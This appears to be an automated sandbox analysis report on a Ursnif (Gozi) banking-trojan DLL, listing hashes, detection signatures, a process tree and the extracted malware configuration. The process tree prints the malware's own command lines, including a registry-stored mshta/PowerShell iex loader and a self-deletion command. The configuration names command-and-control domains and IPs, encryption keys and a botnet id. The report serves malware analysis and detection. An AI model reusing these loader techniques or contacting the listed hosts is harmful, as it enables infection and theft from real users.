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Windows Analysis Report
zs5n5sI6N2

Overview

General Information

Sample Name:zs5n5sI6N2 (renamed file extension from none to dll)
Analysis ID:633919
MD5:9ce6868cb546819a7ba2fc27f91a3777
SHA1:6052120b0375f44ede4985ad98f7bd89beb70c2b
SHA256:fc4bee1a68545b7067fad93ba74478641acd683117f9fe478a4941d7146db959
Tags:dllGoziITAursnif
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Machine Learning detection for sample
Allocates memory in foreign processes
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
One or more processes crash
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

  • System is w10x64
  • loaddll32.exe (PID: 3456 cmdline: loaddll32.exe "C:\Users\user\Desktop\zs5n5sI6N2.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 6012 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\zs5n5sI6N2.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 4452 cmdline: rundll32.exe "C:\Users\user\Desktop\zs5n5sI6N2.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 6364 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • explorer.exe (PID: 3616 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
            • cmd.exe (PID: 260 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\zs5n5sI6N2.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
              • conhost.exe (PID: 5896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
              • PING.EXE (PID: 5988 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
            • RuntimeBroker.exe (PID: 4440 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
            • cmd.exe (PID: 2960 cmdline: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\1759.bi1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
    • WerFault.exe (PID: 3176 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 272 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 1800 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 408 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 5172 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 436 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
  • mshta.exe (PID: 6732 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Cwbm='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Cwbm).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6824 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name asytsrjo -value gp; new-alias -name famnsyvweq -value iex; famnsyvweq ([System.Text.Encoding]::ASCII.GetString((asytsrjo "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 6848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 7156 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rn2v1u0v\rn2v1u0v.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 5080 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBB61.tmp" "c:\Users\user\AppData\Local\Temp\rn2v1u0v\CSCE8729092494447E68BAFD2B3DE7C4FE.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 5092 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0rxpcrxp\0rxpcrxp.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 6392 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDBAB.tmp" "c:\Users\user\AppData\Local\Temp\0rxpcrxp\CSC81748258BEC6426288BE9680C960B04E.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
  • cleanup
{"RSA Public Key": "2FCnIUzdNGgeELQ1eLj0bJoMz6Wyhsxr173krpubnAkBznOw2O4zXiS7ovCR4PNNsCIjegHbTvoHWqhvq9RRNZAEBtDWX6mW3yIDXSN0qA1n8qiSRebn1HxZtuyL6FY/BR1nMcmDUet9iMwvlRDxmj+VzyCObUK6W0DHCUtNCB3pyymvgBuZvmOoqHVPJIhNG61j6VPVajqzr24KUke3teaWIZiCXT2orfIpBZFefRCfYuOYhoPg/LDJjkEBPCd72OAc2ekKwF9Tcjmm1Qm9F8aB637Mj7oTJWG5gIc8figdfCIcJsfVqtjVSAcA29hI94eg/OsMoQ7GmaQR3NS4pkbIWbvv0j+obPcxvU7II18=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "37.10.71.138", "185.158.250.51"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
SourceRuleDescriptionAuthorStrings
00000003.00000003.431296892.0000000005FB8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
    00000003.00000003.324102664.0000000005298000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000003.00000003.323570193.0000000005298000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
        00000003.00000002.511055251.0000000005B60000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
          00000003.00000003.505479603.0000000004B79000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security